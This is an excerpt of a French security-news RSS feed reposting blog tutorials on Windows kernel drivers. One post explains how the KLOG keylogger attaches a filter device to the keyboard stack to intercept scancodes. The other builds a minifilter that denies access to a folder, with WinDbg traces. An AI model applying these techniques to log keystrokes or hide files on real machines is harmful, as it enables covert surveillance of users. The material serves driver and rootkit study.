personnes qui m'auraient filer un coup de main ettoussa :cyaPS : Achetez vous "Subverting kernel windows" écrit par le créateurrootkitcom, un superbe livre de chevet :IMAGE</description><link>http://www.secuobs.com/revue/news/104780.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104780.shtml</guid></item>
<item><title>Sur les traces du KLOG</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonjour à vous,Je vous propose aujourd’hui ma petite contribution régulièreCelle-ci traitera du principe du KLOG, un keylogger kernel programmépar ClandestinyDans cet article, nous allons parler un peu du « comment le KLOG opèret-il  » afin de nous coder un petit driver perso pour mettre enpratique les choses que l’on vient d’apprendreJe vous propose quelques outils pouvant être utile au cours du codinget de l’analyse du KLOG :- DeviceTree, peut être utile pour observer les devices créer par lesdrivers par exemple- IrpTracker, un outil permettant de « tracker » les IRPs reçus par undeviceLes outils en main, nous pouvons nous attaquer au fonctionnement del’enginLe KLOG dans la placeVous êtes maintenant préparer à suivre la suite de l’articlePour mener à bien son fonctionnement le KLOG va attacher un filterdevice  FiDO  au dessus du device KeyboardClass0 créer par le driverKbdclass Le driver KbdClass à pour rôle de fournir une interfaceentre le sytème et le driver physique : Je cite The HID class driver does the following:Provides and manages the upper-level interface that kernel-modedrivers and user-mode applications use to access the HID collectionsthat an input device supportsThe HID class driver transparently manages and routes allcommunication between upper-level drivers and applications and theunderlying input devices that support HID collections It manages thedifferent data protocols used by different input devices and inputqueues that support more than one open file on the same HIDcollection The upper-level interface to HID collections consists of the HID classdriver IOCTLs, the HIDClass support routines, and the HIDClassstructuresCommunicates with a HID minidriver by calling the minidriver'sstandard driver routines — see Communicating with a HID MinidriverCreates a functional device object FDO for HIDClass input devicesenumerated by a lower-level bus or port driverFor example, the HID class driver creates and manages the operationsof an FDO that represents a USB HID device enumerated by thesystem-supplied USB driver stackProvides the functionality of a bus driver for the child devices HIDcollections supported by an underlying input deviceThe HID class driver creates a physical device object PDO for eachHID collection supported by an input device and manges thecollection's operationjuste pour informationsIl faut aussi savoir que le device KeyboardClass0 est attaché audevice anonyme du driver i8042prt Le driver i8042prt est de type PDOPysical Device Object, il gère la gestion de la souris et duclavier Le HID driver va crée un FDO Functional Device Object audessus du PDO pour fournir une interface entre le sytème et lepériphériqueLe KeyboardClass1 est un clavier virtuel, il ne nous intéresse pas dutoutVu que tout le concept repose sur la device stack du driver, nousallons nous renseigner un peu plus sur celle-ci, sortons donc le kdkd devstack devicekeyboardclass0DevObj DrvObj DevExt ObjectName 816f53a0 DriverKbdclass 816f5458 KeyboardClass0816f5588 Driveri8042prt 816f5640817d2618 DriverACPI 817da2e8 00000043DevNode 81799948 :DeviceInst is "ACPIPNP03034et5289e18et0"ServiceName is "i8042prt"kd drvobj DriverKbdclass 3Driver object 816f5930 is for:DriverKbdclassDriver Extension List: id , addrDevice Object list:816d5030 816f53a0 qDriverEntry: f9d0f610DriverStartIo: 00000000DriverUnload: 00000000AddDevice: f9d0eb02Dispatch routines:00 IRP_MJ_CREATE f9d0bdd8 +0xf9d0bdd801 IRP_MJ_CREATE_NAMED_PIPE 805025e4 ntIopInvalidDeviceRequest02 IRP_MJ_CLOSE f9d0bfe8 +0xf9d0bfe803 IRP_MJ_READ f9d0cc82 +0xf9d0cc8204 IRP_MJ_WRITE 805025e4 ntIopInvalidDeviceRequest05 IRP_MJ_QUERY_INFORMATION 805025e4 ntIopInvalidDeviceRequest06 IRP_MJ_SET_INFORMATION 805025e4 ntIopInvalidDeviceRequest07 IRP_MJ_QUERY_EA 805025e4 ntIopInvalidDeviceRequest08 IRP_MJ_SET_EA 805025e4 ntIopInvalidDeviceRequest09 IRP_MJ_FLUSH_BUFFERS f9d0bd50 +0xf9d0bd500a IRP_MJ_QUERY_VOLUME_INFORMATION 805025e4ntIopInvalidDeviceRequest0b IRP_MJ_SET_VOLUME_INFORMATION 805025e4 ntIopInvalidDeviceRequest0c IRP_MJ_DIRECTORY_CONTROL 805025e4 ntIopInvalidDeviceRequest0d IRP_MJ_FILE_SYSTEM_CONTROL 805025e4 ntIopInvalidDeviceRequest0e IRP_MJ_DEVICE_CONTROL f9d0da44 +0xf9d0da440f IRP_MJ_INTERNAL_DEVICE_CONTROL f9d0d386 +0xf9d0d38610 IRP_MJ_SHUTDOWN 805025e4 ntIopInvalidDeviceRequest11 IRP_MJ_LOCK_CONTROL 805025e4 ntIopInvalidDeviceRequest12 IRP_MJ_CLEANUP f9d0bd0c +0xf9d0bd0c13 IRP_MJ_CREATE_MAILSLOT 805025e4 ntIopInvalidDeviceRequest14 IRP_MJ_QUERY_SECURITY 805025e4 ntIopInvalidDeviceRequest15 IRP_MJ_SET_SECURITY 805025e4 ntIopInvalidDeviceRequest16 IRP_MJ_POWER f9d0e196 +0xf9d0e19617 IRP_MJ_SYSTEM_CONTROL f9d0d844 +0xf9d0d84418 IRP_MJ_DEVICE_CHANGE 805025e4 ntIopInvalidDeviceRequest19 IRP_MJ_QUERY_QUOTA 805025e4 ntIopInvalidDeviceRequest1a IRP_MJ_SET_QUOTA 805025e4 ntIopInvalidDeviceRequest1b IRP_MJ_PNP f9d0c798 +0xf9d0c798kd devobj 0x816d5030Device object 816d5030 is for:KeyboardClass1 DriverKbdclass DriverObject 816f5930Current Irp 00000000 RefCount 0 Type 0000000b Flags 00002044Dacl e129e634 DevExt 816d50e8 DevObjExt 816d51c8ExtensionFlags 0000000000AttachedTo Lower 816d41e0 DriverTermDDDevice queue is not busykd devobj 0x816f53a0Device object 816f53a0 is for:KeyboardClass0 DriverKbdclass DriverObject 816f5930Current Irp 00000000 RefCount 0 Type 0000000b Flags 00002044Dacl e129e634 DevExt 816f5458 DevObjExt 816f5538ExtensionFlags 0000000000AttachedTo Lower 816f5588 Driveri8042prtDevice queue is not busyNous avons donc nos renseignements sur la device stack, ces infos sontbien sur aussi visibles grâce au programme DeviceTree Notre deviceplacé au dessus du KeyboardClass0, va donc recevoir les IRPs avantluiC’est ici que tout se joue Nous allons mettre en place une « Completion Routine » qui sera appeléau retour de l’IRP, c’est-à-dire quand elle contiendra lesinformations  les scancodes des touches  délivré par le driver, leretour de l’IRP est provoqué par l’appel de la fonctionIoCompleteRequest dans le driver KbdClass Cette Completion routine vapermettre de lire les IRPs et donc de récupérer les scancodes destouchesCependant les personnes qui ont déjà étudiés le KLOG, savent que latache de les écrire n’est pas si facile En effet la fonctionpermettant l’écriture dans le fichier tourne à un IRQL différent,comprenez que écriture dans un fichier demande au système d’être dansun état non-interrompu Bref pour nous on s’arrête là afin de coder unpetit truc personnaliséMais Clandestiny gère ce problème en créant unthread kernel tournant à l’IRQL nécessaireJe vous propose quelques schémas, les 2 premiers venus tout droit demon imagination, et le dernier extrait du pdf fournis dans l’archivedu KLOG :Nous avons donc toutes les clés en main pour coder un petit driver Control your keyboardAu cours de cette partie, notre but va être non pas de lire, mais demodifier les scancodes des lettres, afin de contrôler les touchesLedriver va renvoyé les scancodes de façon a écrire « overclok » quelquesoit les touches tapéesPour mener a bien notre projet, nous allons créer un device par lebiais de la fonction IoCreateDevice, puis l’attacher avecIoAttachDevice sur DeviceKeyboardClass0Petite précision pour le IoCreateDevice, nous allons utilisé un deces paramètres afin de faire transiter une structure personnalisée Eneffet nous devons garder à l’esprit que les IRP doivent être envoyéesau driver KbdClass, pour cela il faut connaître l’adresse du deviceDeviceKeyboardClass0, l’I/O Manager fournit pour chaque device unestructure personnalisé appelée DeviceExtension permettant auprogrammeur d’y ajouter des infos Dans notre cas nous allons doncjuste avoir un champ avec à pointeur sur le device KeyboardClass0Nous devons bien évidemment remplir le tableau MajorFunction pourhandler des fonctions à appeler selon les IRPs reçusCelles intéressantes sont les IRP_MJ_READNotre fonction qui sera appelée lors de la réception d’une telle IRPdoit mettre en place la Completion Routine grâce à la fonctionIoSetCompletionRoutine puis nous « relayons » les IRPs au deviced’en dessousEn ce qui concerne notre la Completion Routine c’est en quelque sortele cœur de notre driver, car en effet c’est ici que la modification oula lecture des IRPs aura lieuPour ma part j’ai choisis d’aller remplacer les scancodes des touchesde manière a former le mot « overclok » lors de l’appuie sur lestouches de votre clavierUn petit screenshot :Je vous propose aussi de lire un article rédigé par Ivanlef0u sur satentative de modification du KLOGIl a modifié quelques petits trucs sur la version qu’il propose, àsavoir le support des claviers français et le hidalgo du driver dansla PsLoadedModuleListVoici le lien :- KLOG - http://wwwivanlef0utuxfamilyorg/p=17A présent je vous propose mon petit code :- OwnzYourKeyboardcC’est finit pour aujourd’hui en espérant vous avoir divertis un petitpeu, encore merci au personne qui m’ont aidé à la réalisation de cetarticle etcPS : Je tiens aussi à passer un petit coup de pub pour des amisTout d'abord l'ouverture du site perso de shaka ou sevieron, un siteinternet rassemblant des écrits qui seront rédigés par lui mêmeconcernant de multiples domaines liés a l'informatiqueEnsuite l'ouverture de deux blogs de deux autres personnes quej'apprécie beaucoup, il s'agit de KPCR et de santabugEn espérant que ces blogs et ce site seront tenus à jour par lesauteurs, et que les articles apparaitront d'ici peu :Bonne chance à vous, voici les liens ajouter à la blogrollz :- Shaka Web Site - http://shakan0neorg/- Santabug's blog - http://santabugblogspotcom/- KPCR's blog - http://kpcrblogspotcom/CyaIMAGE</description><link>http://www.secuobs.com/revue/news/104779.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104779.shtml</guid></item>
<item><title>C4lim3r0</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - « YOU FAILED, PLEASE RESTART THE ENGINE »Bonjour à tous, je vais aujourd'hui vous parlez d'une feature quemicrosoft nous met à dispositionIl s'agit des « minifilters »Un minifilter permet de crée un Filter Device Object FiDO beacoupplus facilement En effet cette fois ci c’est driver natif de Windows,fltmgrsys, qui va se charger de placer un FiDO sur les devices quinous intéressent Lors de la création d’un minifilter les devices dudriver fltmgrsys vont se placer sur les différents devices filesystempuis faire passer les requêtes et résultats des IRP de ces devices ànotre driver sous une forme plus aisément manipulableOn peut donc choisir sur quels types d'IRPs opérer, sur quel devicenous allons nous attachés Tous le reste sera gérer et orchestrer parle FilterManager FltMgr C'est bien beau … mais trop pour être vraiPremièrement le minifilter doit s'installer par le biais d'un fichierinf, et il est exécuté sous forme de service à cause duFilterManager, pas très furtif tout ca …L'aventure est tout de même séduisante, une nouvelle feature àexpérimenter, nous pourrions l'utilisé afin de cacher un dossier parexempleMais cela fais deux semaines que j'ai travaillé en me fixantce but, et je dois l'avouer j'ai lamentablement échoué dans mabesogne Je me suis donc rediriger vers un objectif plus simpleIl s'agit d'empêcher l'accès à un dossier lorsque l'on va doublecliquez sur le dossier dans l'explorer par exemple Je compte donc survous pour exploitez ce petit article et allez plus loin dansl'utilisation de ce minifilterPassons par dessus, les échecs sont censés faire avancer « Wait and see »J'ai décidé donc de programmer un file system minifilterJe vous expose la technique utilisé :* Nous créons le fichier inf permettant d'installer notreminifilter Pour cela je vous laisse vous documentez sur la msdnet cie* Notre driver doit s'enregistrer auprès du FilterManager par lebiais de la fonction FltRegisterFilterL'on doit donc remplir les structures FLT_REGISTRATION :typedef struct _FLT_REGISTRATION {USHORT Size;USHORT Version;FLT_REGISTRATION_FLAGS Flags;CONST FLT_CONTEXT_REGISTRATION *ContextRegistration;CONST FLT_OPERATION_REGISTRATION *OperationRegistration;PFLT_FILTER_UNLOAD_CALLBACK FilterUnloadCallback;PFLT_INSTANCE_SETUP_CALLBACK InstanceSetupCallback;PFLT_INSTANCE_QUERY_TEARDOWN_CALLBACK InstanceQueryTeardownCallback;PFLT_INSTANCE_TEARDOWN_CALLBACK InstanceTeardownStartCallback;PFLT_INSTANCE_TEARDOWN_CALLBACK InstanceTeardownCompleteCallback;PFLT_GENERATE_FILE_NAME GenerateFileNameCallback;PFLT_NORMALIZE_NAME_COMPONENT NormalizeNameComponentCallback;PFLT_NORMALIZE_CONTEXT_CLEANUP NormalizeContextCleanupCallback;#if FLT_MGR_LONGHORNPFLT_TRANSACTION_NOTIFICATION_CALLBACKTransactionNotificationCallback;PFLT_NORMALIZE_NAME_COMPONENT_EX NormalizeNameComponentExCallback;#endif // FLT_MGR_LONGHORN} FLT_REGISTRATION, *PFLT_REGISTRATION;ainsi que FLT_OPERATION_REGISTRATION :typedef struct _FLT_OPERATION_REGISTRATION {UCHAR MajorFunction;FLT_OPERATION_REGISTRATION_FLAGS Flags;PFLT_PRE_OPERATION_CALLBACK PreOperation;PFLT_POST_OPERATION_CALLBACK PostOperation;PVOID Reserved1;} FLT_OPERATION_REGISTRATION, *PFLT_OPERATION_REGISTRATION;* Et enfin démarrer notre filtre avec FltStartFilteringA présent il nous faut élaborer les fonctions handler par la structureFLT_OPERATION_REGISTRATIONJe vous laisse méditer le code pour celaTrip in da MinifilterOn va tenter de savoir comment fonctionne un peu plus cette featurekd drvobj FileSystemC4lim3r0Driver object 8152e670 is for:FileSystemC4lim3r0Driver Extension List: id , addrDevice Object list:kd drvobj FileSystemFltMgrDriver object 8179b428 is for:FileSystemFltMgrDriver Extension List: id , addrDevice Object list:8148ceb0 8148d220 8148d390 8148d4c88148d748 8148dcc0 8179aa60 8179af18kd devobj 8148ceb0Device object 8148ceb0 is for:FileSystemFltMgr DriverObject 8179b428Current Irp 00000000 RefCount 0 Type 00000003 Flags 00000010DevExt 8148cf68 DevObjExt 8148cfd0ExtensionFlags 0000000000AttachedTo Lower 817eb0d8 FileSystemRAWDevice queue is not busykd devobj 8148d220Device object 8148d220 is for:FileSystemFltMgr DriverObject 8179b428Current Irp 00000000 RefCount 0 Type 00000008 Flags 00000010DevExt 8148d2d8 DevObjExt 8148d340ExtensionFlags 0000000000AttachedTo Lower 817eb1f0 FileSystemRAWDevice queue is not busykd devobj 8148d390Device object 8148d390 is for:FileSystemFltMgr DriverObject 8179b428Current Irp 00000000 RefCount 0 Type 00000008 Flags 00000000DevExt 8148d448 DevObjExt 8148d478ExtensionFlags 0000000000AttachedTo Lower 817307e8 FileSystemsrDevice queue is not busykd devobj 8148d4c8Device object 8148d4c8 is for:FileSystemFltMgr DriverObject 8179b428Current Irp 00000000 RefCount 0 Type 00000008 Flags 00000000DevExt 8148d580 DevObjExt 8148d5d8ExtensionFlags 0000000000AttachedTo Lower 817619b8 FileSystemsrDevice queue is not busykd devobj 8148d748Device object 8148d748 is for:FileSystemFltMgr DriverObject 8179b428Current Irp 00000000 RefCount 0 Type 00000003 Flags 00000000DevExt 8148d800 DevObjExt 8148d858ExtensionFlags 0000000000AttachedTo Lower 81600140 FileSystemCdfsDevice queue is not busykd devobj 8148dcc0Device object 8148dcc0 is for:FileSystemFltMgr DriverObject 8179b428Current Irp 00000000 RefCount 0 Type 00000014 Flags 00000000DevExt 8148dd78 DevObjExt 8148dda8ExtensionFlags 0000000000AttachedTo Lower 8160c030 FileSystemMRxSmbDevice queue is not busykd devobj 8179aa60Device object 8179aa60 is for:FltMgrMsg FileSystemFltMgr DriverObject 8179b428Current Irp 00000000 RefCount 0 Type 00000040 Flags 00000040Dacl e12a0634 DevExt 00000000 DevObjExt 8179ab18ExtensionFlags 0000000000Device queue is not busykd devobj 8179af18Device object 8179af18 is for:FltMgr FileSystemFltMgr DriverObject 8179b428Current Irp 00000000 RefCount 0 Type 00000008 Flags 00000040Dacl e12b1d1c DevExt 00000000 DevObjExt 8179afd0ExtensionFlags 0000000000Device queue is not busyLe filter manager va donc créer des FiDOs dans le but d'intercepterles IRPs destinées au driver gérant le filesystem voir dump kdEn parcourant le log nous voyons bien que des devices sont attachésaux autres filesystem devicesA présent nous allons poser un breakpoint sur la routine qui gerenotre IRP au niveau du driver FileSystemNtfsPour cela nous allons utiliser le kd et là fonction « drvobjDriverObject Flag»Je cite :The drvobj extension displays detailed information about aDRIVER_OBJECTDriverObjectSpecifies the driver object In Windows NT 40, this must be thehexadecimal address of the DRIVER_OBJECT structure In Windows 2000and later, this can be the hexadecimal address of the DRIVER_OBJECTstructure or the name of the driverFlagsWindows 2000 and later Can be any combination of the following bitsThe default is 0x01Bit 0 0x1Causes the display to include device objects owned by the driverBit 1 0x2Causes the display to include entry points for the driver's dispatchroutinesBit 2 0x4Lists with detailed information the device objects owned by the driverrequires bit 0Nous allons donc énumérez les adresses des « dispatch routines »gérant les différentes IRPskd drvobj FileSystemNtfs 2Driver object 817a3308 is for:FileSystemNtfsDriverEntry: f9924184 NtfsDriverStartIo: 00000000DriverUnload: 00000000AddDevice: 00000000Dispatch routines:00 IRP_MJ_CREATE f98c4c01 Ntfs+0x25c0101 IRP_MJ_CREATE_NAMED_PIPE 805025e4 ntIopInvalidDeviceRequest02 IRP_MJ_CLOSE f98c40ea Ntfs+0x250ea03 IRP_MJ_READ f98a1f3b Ntfs+0x2f3b04 IRP_MJ_WRITE f98a0b57 Ntfs+0x1b5705 IRP_MJ_QUERY_INFORMATION f98c52b9 Ntfs+0x262b906 IRP_MJ_SET_INFORMATION f98a2618 Ntfs+0x361807 IRP_MJ_QUERY_EA f98c52b9 Ntfs+0x262b908 IRP_MJ_SET_EA f98c52b9 Ntfs+0x262b909 IRP_MJ_FLUSH_BUFFERS f98deec8 Ntfs+0x3fec80a IRP_MJ_QUERY_VOLUME_INFORMATION f98c5404 Ntfs+0x264040b IRP_MJ_SET_VOLUME_INFORMATION f98c5404 Ntfs+0x264040c IRP_MJ_DIRECTORY_CONTROL f98c6fbd Ntfs+0x27fbd0d IRP_MJ_FILE_SYSTEM_CONTROL f98c9758 Ntfs+0x2a7580e IRP_MJ_DEVICE_CONTROL f98c5404 Ntfs+0x264040f IRP_MJ_INTERNAL_DEVICE_CONTROL 805025e4ntIopInvalidDeviceRequest10 IRP_MJ_SHUTDOWN f98b35af Ntfs+0x145af11 IRP_MJ_LOCK_CONTROL f9918aa3 Ntfs+0x79aa312 IRP_MJ_CLEANUP f98c4ab8 Ntfs+0x25ab813 IRP_MJ_CREATE_MAILSLOT 805025e4 ntIopInvalidDeviceRequest14 IRP_MJ_QUERY_SECURITY f98c5404 Ntfs+0x2640415 IRP_MJ_SET_SECURITY f98c5404 Ntfs+0x2640416 IRP_MJ_POWER 805025e4 ntIopInvalidDeviceRequest17 IRP_MJ_SYSTEM_CONTROL 805025e4 ntIopInvalidDeviceRequest18 IRP_MJ_DEVICE_CHANGE 805025e4 ntIopInvalidDeviceRequest19 IRP_MJ_QUERY_QUOTA f98c52b9 Ntfs+0x262b91a IRP_MJ_SET_QUOTA f98c52b9 Ntfs+0x262b91b IRP_MJ_PNP f98e17f0 Ntfs+0x427f0Fast I/O routines:FastIoCheckIfPossible f98d8eda Ntfs+0x39edaFastIoRead f98bfb57 Ntfs+0x20b57FastIoWrite f98de448 Ntfs+0x3f448FastIoQueryBasicInfo f98c548e Ntfs+0x2648eFastIoQueryStandardInfo f98c3f7e Ntfs+0x24f7eFastIoLock f98df0f2 Ntfs+0x400f2FastIoUnlockSingle f98df1f8 Ntfs+0x401f8FastIoUnlockAll f99186ae Ntfs+0x796aeFastIoUnlockAllByKey f99187f3 Ntfs+0x797f3AcquireFileForNtCreateSection f98bf83a Ntfs+0x2083aReleaseFileForNtCreateSection f98bf881 Ntfs+0x20881FastIoQueryNetworkOpenInfo f9906e1d Ntfs+0x67e1dAcquireForModWrite f98cba10 Ntfs+0x2ca10MdlRead f9906f31 Ntfs+0x67f31MdlReadComplete 8052bb18 ntFsRtlMdlReadCompleteDevPrepareMdlWrite f99072ab Ntfs+0x682abMdlWriteComplete 80611143 ntFsRtlMdlWriteCompleteDevFastIoQueryOpen f98c3db8 Ntfs+0x24db8AcquireForCcFlush f98bf6e2 Ntfs+0x206e2ReleaseForCcFlush f98bf708 Ntfs+0x20708Puis poser un breakpoint afin de pouvoir regarder un peu les IRPs dutype IRP_MJ_DIRECTORY_CONTROL, celle que l'on contrôle au seins denotre minifilterkd bp f98c6fbdOn pose un breakpoint sur la routine de notre driver qui va corromprele IO_STATUS_BLOCK de l'irpkd bp C4lim3r0ApresDirectoryControlOn relance la vmkd gNormalement une fois query le dossier, on devrait breakpoint sur ledriver Ntfs afin de visionner le status de l'irp, et ensuite notreminifilter devrait « intercepter » celle-ci et là nous tracerons afind'arriver jusqu'au moment où l'on va modifier le status, nousafficherons ensuite le statutBreakpoint 0 hitNtfs+0x27fbd:f98c6fbd 684c010000 push 14ChOp nous y voilà, nous affichons la call stack avec kv, pour pouvoirretrouver un pointeur sur une structure IRP, n'oublions pas que leprototype d'une dispatch routine est de cette forme :NTSTATUS DispatchRoutinesPDEVICE_OBJECT pDeviceObject,PIRP pIrpNous pouvons donc retrouver ce pointeur en dernier argument pusher surla stackkd kvChildEBP RetAddr Args to ChildWARNING: Stack unwind information not available Following frames maybe wrongf7d10c7c 804e3d77 81794880 815ad818 815ad818 Ntfs+0x27fbdf7d10cf8 8056a9ab f7d10d64 0148de30 80574dad ntIopfCallDriver+0x31FPO: 0,0,0f7d10cb0 f995906b f7d10cd0 8150d490 00000000ntIopSynchronousServiceTail+0x60 FPO: Non-Fpof7d10ce8 804e3d77 8150d490 815ad818 807112d0fltMgrFltGetIrpName+0x12adf7d10cf8 8056a9ab f7d10d64 0148de30 80574dad ntIopfCallDriver+0x31FPO: 0,0,0f7d10d0c 80574e0a 8150d490 815ad818 815117a8ntIopSynchronousServiceTail+0x60 FPO: Non-Fpof7d10d30 804df06b 00000230 00000000 00000000ntNtQueryDirectoryFile+0x5d FPO: Non-Fpof7d10d30 7c91eb94 00000230 00000000 00000000 ntKiFastCallEntry+0xf8FPO: 0,0 TrapFrame @ f7d10d640148e108 7c9f8afd 0148e3b0 00000000 023e5cb4 0x7c91eb940148e12c 7c9f8a97 0148e3b0 023e5cb4 023e5aa4 0x7c9f8afd0148e380 7c9fa996 000400e8 00000000 0148e3b0 0x7c9f8a970148e5d0 7c9fa870 023f6380 023f6368 0148e5f8 0x7c9fa9960148e5e0 7c9fab6d 023f6578 000400e8 000000e0 0x7c9fa8700148e5f8 7c9ff03d 023f6588 000400e8 000000e0 0x7c9fab6d0148e62c 7c9ffa3e 000400e8 0012687c 00126860 0x7c9ff03d0148e680 7e22d8f1 00000006 00000000 00126860 0x7c9ffa3e0148e72c 7e22ade9 0011d8f8 00126860 023e54f0 0x7e22d8f10148e754 75f18518 001264d4 023e54f0 001864d0 0x7e22ade90148e770 75f2c7ca 0011d8fc 023e54f0 001864d0 0x75f185180148e790 7e22b0b3 0011d8fc 023e54f0 001864d0 0x75f2c7caNous avons notre pointeur utilisons la commande irpkd irp 815ad818 1Irp is active with 9 stacks 8 is current = 0x815ad984No Mdl: No System Buffer: Thread 81593020: Irp stack traceFlags = 00000800ThreadListEntryFlink = 81593230ThreadListEntryBlink = 81593230IoStatusStatus = 00000000IoStatusInformation = 00000000RequestorMode = 00000001Cancel = 00CancelIrql = 0ApcEnvironment = 00UserIosb = 0148de6cUserEvent = 00000000OverlayAsynchronousParametersUserApcRoutine = 00000000OverlayAsynchronousParametersUserApcContext = 00000000OverlayAllocationSize = 00000000 - 00000000CancelRoutine = 00000000UserBuffer = 0148de9cetTailOverlayDeviceQueueEntry = 815ad858TailOverlayThread = 81593020TailOverlayAuxiliaryBuffer = 814db890TailOverlayListEntryFlink = 00000000TailOverlayListEntryBlink = 00000000TailOverlayCurrentStackLocation = 815ad984TailOverlayOriginalFileObject = 815117a8TailApc = 00000000TailCompletionKey = 00000000cmd flg cl Device File Completion-Context 0, 0 0 0 00000000 00000000 00000000-00000000Args: 00000000 00000000 00000000 00000000 0, 0 0 0 00000000 00000000 00000000-00000000Args: 00000000 00000000 00000000 00000000 0, 0 0 0 00000000 00000000 00000000-00000000Args: 00000000 00000000 00000000 00000000 0, 0 0 0 00000000 00000000 00000000-00000000Args: 00000000 00000000 00000000 00000000 0, 0 0 0 00000000 00000000 00000000-00000000Args: 00000000 00000000 00000000 00000000 0, 0 0 0 00000000 00000000 00000000-00000000Args: 00000000 00000000 00000000 00000000 0, 0 0 0 00000000 00000000 00000000-00000000Args: 00000000 00000000 00000000 00000000 c, 1 2 e0 81793020 815117a8 f99587de-815b9578 Success Error CancelFileSystemNtfs fltMgrFltGetIrpNameArgs: 00000268 814db890 00000003 00000000 c, 1 2 1 8150d490 815117a8 00000000-00000000 pendingFileSystemFltMgrArgs: 00000268 814db890 00000003 00000000Nous avons bien un STATUS_SUCCESS dans le IoStatusstatusOn relance le kd pour breakpoint sur notre driverkd gBreakpoint 1 hitC4lim3r0ApresDirectoryControl:fa161490 8bff mov edi,edikd pC4lim3r0ApresDirectoryControl+0x8:fa161498 68b01516fa push offset C4lim3r0  ::FNODOBFM::`string'fa1615b0kd pC4lim3r0ApresDirectoryControl+0x17:fa1614a7 8d4dfc lea ecx,ebp-4kd pC4lim3r0ApresDirectoryControl+0x29:fa1614b9 8b45f4 mov eax,dword ptr ebp-0Chkd pC4lim3r0ApresDirectoryControl+0x41:fa1614d1 8b45fc mov eax,dword ptr ebp-4kd pFileName : 'DeviceHarddiskVolume1C4lim3r0__'C4lim3r0ApresDirectoryControl+0x55:fa1614e5 8b4d08          mov     ecx,dword ptr ebp+8kd pC4lim3r0ApresDirectoryControl+0x5f:fa1614ef 8b5508          mov     edx,dword ptr ebp+8kd pC4lim3r0ApresDirectoryControl+0x69:fa1614f9 33c0            xor     eax,eaxOn trace avec F10 pour arriver après la modification du status, onmatte la callstack pour retrouver un pointeur sur une structurePFLT_CALLBACK_DATAtypedef struct _FLT_CALLBACK_DATA {FLT_CALLBACK_DATA_FLAGS  Flags;PETHREAD CONST  Thread;PFLT_IO_PARAMETER_BLOCK CONST  Iopb;IO_STATUS_BLOCK  IoStatus;struct _FLT_TAG_DATA_BUFFER  *TagData;union {struct {LIST_ENTRY  QueueLinks;PVOID  QueueContext2;};PVOID  FilterContext4;};KPROCESSOR_MODE  RequestorMode;} FLT_CALLBACK_DATA, *PFLT_CALLBACK_DATA;typedef struct _IO_STATUS_BLOCK {union {NTSTATUS Status;PVOID Pointer;};ULONG_PTR Information;} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;Let's gokd kvChildEBP RetAddr  Args to Child       f7d107d8 f9955ef3 815b95d4 f7d107fc 00000000 C4lim3r0ApresDirectoryControl+0x41 FPO: Non-Fpo CONV: stdcall c:k3rn3lc4lim3r0c @ 79WARNING: Stack unwind information not available Following frames may be wrongf7d10840 f9958338 005b9578 815ad987 815b9578 fltMgrFltRequestOperationStatusCallback+0x5bdf7d10854 f9958867 815b9578 815ad818 f7d10894 fltMgrFltGetIrpName+0x57af7d10864 804e42cc 8150d490 815ad818 815b9578 fltMgrFltGetIrpName+0xaa9f7d10894 f989f6bb 00000000 e117ceb8 f7d10ab8 ntIopfCompleteRequest+0xa2 FPO: Non-Fpof7d108a4 f98c8187 f7d10b08 815ad818 00000000 Ntfs+0x6bbf7d10ab8 f98c70e8 f7d10b08 815ad818 81793100 Ntfs+0x29187f7d10aec f98c7053 f7d10b08 e117cd20 00000000 Ntfs+0x280e8f7d10c64 804e3d77 81793020 815ad818 817a3728 Ntfs+0x28053f7d10cf8 8056a9ab f7d10d64 0148de30 80574dad ntIopfCallDriver+0x31 FPO: 0,0,0f7d10c7c 804e3d77 81794880 815ad818 815ad818 ntIopSynchronousServiceTail+0x60 FPO: Non-Fpof7d10cf8 8056a9ab f7d10d64 0148de30 80574dad ntIopfCallDriver+0x31 FPO: 0,0,0f7d10cb0 f995906b f7d10cd0 8150d490 00000000 ntIopSynchronousServiceTail+0x60 FPO: Non-Fpof7d10ce8 804e3d77 8150d490 815ad818 807112d0 fltMgrFltGetIrpName+0x12adf7d10cf8 8056a9ab f7d10d64 0148de30 80574dad ntIopfCallDriver+0x31 FPO: 0,0,0f7d10d0c 80574e0a 8150d490 815ad818 815117a8 ntIopSynchronousServiceTail+0x60 FPO: Non-Fpof7d10d30 804df06b 00000230 00000000 00000000 ntNtQueryDirectoryFile+0x5d FPO: Non-Fpof7d10d30 7c91eb94 00000230 00000000 00000000 ntKiFastCallEntry+0xf8 FPO: 0,0 TrapFrame @ f7d10d640148e108 7c9f8afd 0148e3b0 00000000 023e5cb4 0x7c91eb940148e12c 7c9f8a97 0148e3b0 023e5cb4 023e5aa4 0x7c9f8afdNous avons notre pointeur nous allons afficher afficher la mémoireavec la commande ddkd dd 815b95d4815b95d4  00080001 81593020 815b9644 c0000055815b95e4  00000000 00000000 00000000 00000000815b95f4  00000000 00000000 00000001 00000800815b9604  0002010c 815117a8 8158fe78 00000268815b9614  814db890 00000003 00000000 0148de9c815b9624  00000000 00000000 815b9578 8158ffbc815b9634  815b9944 8151fea4 815b9940 00000000815b9644  00000800 0002010c 815117a8 8158fe78kd bc 0kd bc 1kd blCompte tenu du prototype de la fonction nous pouvons constater quenotre IoStatusstatus est a présent « c0000055 » il a bien étémodifiéEnfin bon voilà C'est finis pour aujourd'hui en espérant que les logs du kd vouspermettrons de faire des petites recherches c'est plutot sympathiqueje trouveVoici les liens pour les sources du minifilter :-C4lim3r0's inf file-C4lim3r0cVoilà bonne après midi à vous, cyaPS: Je viens d'ajouter le site de la communauté Spirit Of Hack SOHdans la blogrollz, n'hésiter pas a faire un tour :PS2: Voici l'arrivée du repository de Geo dans la blogrollzEn tous les cas merci à vous et bonne continuationIMAGE</description><link>http://www.secuobs.com/revue/news/104778.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104778.shtml</guid></item>
